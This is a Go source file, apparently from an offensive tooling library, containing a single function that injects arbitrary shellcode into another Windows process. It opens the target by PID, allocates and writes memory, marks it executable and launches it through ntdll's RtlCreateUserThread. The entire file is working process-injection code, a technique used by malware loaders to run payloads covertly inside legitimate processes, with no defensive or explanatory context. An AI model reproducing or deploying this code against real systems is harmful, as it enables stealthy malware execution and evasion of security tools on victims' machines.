package shellcode import ( "unsafe" "golang.org/x/sys/windows" ) func RtlCreateUserThread(shellcode []byte, pid int) error { kernel32 := windows.NewLazySystemDLL("kernel32.dll") ntdll := windows.NewLazySystemDLL("ntdll.dll") OpenProcess := kernel32.NewProc("OpenProcess") VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread") CloseHandle := kernel32.NewProc("CloseHandle") pHandle, _, err := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(pid))) if pHandle == 0 { return err } addr, _, err := VirtualAllocEx.Call( uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE, ) if addr == 0 { return err } WriteProcessMemory.Call( uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), ) oldProtect := windows.PAGE_READWRITE VirtualProtectEx.Call( uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)), ) var tHandle uintptr RtlCreateUserThread.Call( uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0, ) CloseHandle.Call(uintptr(uint32(pHandle))) return nil }